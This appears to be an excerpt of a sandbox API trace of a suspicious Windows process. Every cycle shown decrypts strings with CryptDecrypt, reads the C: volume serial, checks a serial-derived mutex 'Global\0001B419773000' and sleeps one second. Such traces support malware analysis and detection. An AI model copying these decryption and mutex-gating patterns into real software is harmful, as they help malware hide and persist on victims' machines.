	[0078.386] CryptDecrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0078.386] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0078.386] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0078.386] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0078.386] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0078.386] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa288) returned 1
	[0078.387] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0078.387] CryptDecrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0078.387] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0078.387] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0078.387] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0078.387] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0078.387] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0078.387] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0078.387] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0078.387] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0078.387] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa5c8) returned 1
	[0078.387] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0078.387] CryptDecrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0078.387] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0078.387] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0078.387] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x310
	[0078.387] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102
	[0078.387] CloseHandle (hObject=0x310) returned 1
	[0078.387] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0078.387] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0078.387] Sleep (dwMilliseconds=0x3e8) 
	[0079.502] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0079.502] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa348) returned 1
	[0079.502] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0079.502] CryptDecrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0079.503] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0079.504] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0079.504] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0079.504] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0079.504] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa608) returned 1
	[0079.504] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0079.504] CryptDecrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0079.504] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0079.504] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0079.504] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0079.504] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0079.504] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0079.504] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0079.504] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0079.504] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0079.504] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa608) returned 1
	[0079.504] CryptSetKeyParam (hKey=0xbaa608, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0079.504] CryptDecrypt (in: hKey=0xbaa608, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0079.504] CryptDestroyKey (hKey=0xbaa608) returned 1
	[0079.504] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0079.504] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x340
	[0079.504] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0x0) returned 0x102
	[0079.504] CloseHandle (hObject=0x340) returned 1
	[0079.505] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0079.505] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0079.505] Sleep (dwMilliseconds=0x3e8) 
	[0080.518] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0080.518] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa3c8) returned 1
	[0080.518] CryptSetKeyParam (hKey=0xbaa3c8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0080.518] CryptDecrypt (in: hKey=0xbaa3c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0080.518] CryptDestroyKey (hKey=0xbaa3c8) returned 1
	[0080.518] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0080.518] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0080.518] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0080.518] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa748) returned 1
	[0080.518] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0080.518] CryptDecrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0080.518] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0080.518] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0080.518] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0080.518] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0080.518] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0080.518] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0080.518] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0080.519] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0080.519] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa4c8) returned 1
	[0080.519] CryptSetKeyParam (hKey=0xbaa4c8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0080.519] CryptDecrypt (in: hKey=0xbaa4c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0080.519] CryptDestroyKey (hKey=0xbaa4c8) returned 1
	[0080.519] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0080.519] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x344
	[0080.519] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x0) returned 0x102
	[0080.519] CloseHandle (hObject=0x344) returned 1
	[0080.519] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0080.519] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0080.519] Sleep (dwMilliseconds=0x3e8) 
	[0081.534] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0081.534] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa9c8) returned 1
	[0081.535] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0081.535] CryptDecrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0081.535] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0081.535] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0081.535] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0081.535] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0081.535] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa748) returned 1
	[0081.535] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0081.535] CryptDecrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0081.535] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0081.535] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0081.535] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0081.535] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0081.535] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0081.535] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0081.535] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0081.535] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0081.535] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa7c8) returned 1
	[0081.535] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0081.535] CryptDecrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0081.535] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0081.535] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0081.535] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x324
	[0081.535] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102
	[0081.535] CloseHandle (hObject=0x324) returned 1
	[0081.535] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0081.535] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0081.536] Sleep (dwMilliseconds=0x3e8) 
	[0082.549] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0082.549] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa9c8) returned 1
	[0082.549] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0082.549] CryptDecrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0082.549] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0082.549] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0082.549] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0082.549] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0082.549] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa9c8) returned 1
	[0082.549] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0082.549] CryptDecrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0082.549] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0082.549] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0082.549] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0082.549] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0082.549] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0082.549] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0082.550] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0082.550] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0082.550] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa9c8) returned 1
	[0082.550] CryptSetKeyParam (hKey=0xbaa9c8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0082.550] CryptDecrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0082.550] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0082.550] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0082.550] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x324
	[0082.550] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102
	[0082.550] CloseHandle (hObject=0x324) returned 1
	[0082.550] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0082.550] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0082.550] Sleep (dwMilliseconds=0x3e8) 
	[0083.567] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0083.567] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa5c8) returned 1
	[0083.567] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0083.567] CryptDecrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0083.567] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0083.567] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0083.567] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0083.567] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0083.567] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa848) returned 1
	[0083.567] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0083.567] CryptDecrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0083.567] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0083.567] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0083.567] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0083.567] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0083.567] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0083.567] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0083.568] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0083.568] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0083.568] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa3c8) returned 1
	[0083.568] CryptSetKeyParam (hKey=0xbaa3c8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0083.568] CryptDecrypt (in: hKey=0xbaa3c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0083.568] CryptDestroyKey (hKey=0xbaa3c8) returned 1
	[0083.568] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
	[0083.568] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x324
	[0083.568] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102
	[0083.568] CloseHandle (hObject=0x324) returned 1
	[0083.568] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0083.568] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fb8 | out: hHeap=0x2720000) returned 1
	[0083.568] Sleep (dwMilliseconds=0x3e8) 
	[0084.596] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0084.596] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xbaa6c8) returned 1
	[0084.596] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0084.596] CryptDecrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0x288fda0 | out: pbData=0x2721518, pdwDataLen=0x288fda0) returned 1
	[0084.596] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0084.596] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x2728f70
	[0084.596] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2728f98
	[0084.596] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2728fc0
	[0084.596] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xbaa908) returned 1
	[0084.596] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0084.596] CryptDecrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728fc0, pdwDataLen=0x288fd78 | out: pbData=0x2728fc0, pdwDataLen=0x288fd78) returned 1
	[0084.596] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0084.596] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fc0 | out: hHeap=0x2720000) returned 1
	[0084.596] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2728f70, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0084.596] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f98 | out: hHeap=0x2720000) returned 1
	[0084.596] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721518 | out: hHeap=0x2720000) returned 1
	[0084.596] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0084.596] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f70 | out: hHeap=0x2720000) returned 1
	[0084.596] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x2728f70
	[0084.596] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xbaa848) returned 1
	[0084.597] CryptSetKeyParam (hKey=0xbaa848, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0084.597] CryptDecrypt (in: hKey=0xbaa848, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728f70, pdwDataLen=0x288fdd4 | out: pbData=0x2728f70, pdwDataLen=0x288fdd4) returned 1
	[0084.597] CryptDestroyKey (hKey=0xbaa848) returned 1
	[0084.597] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2728fb8
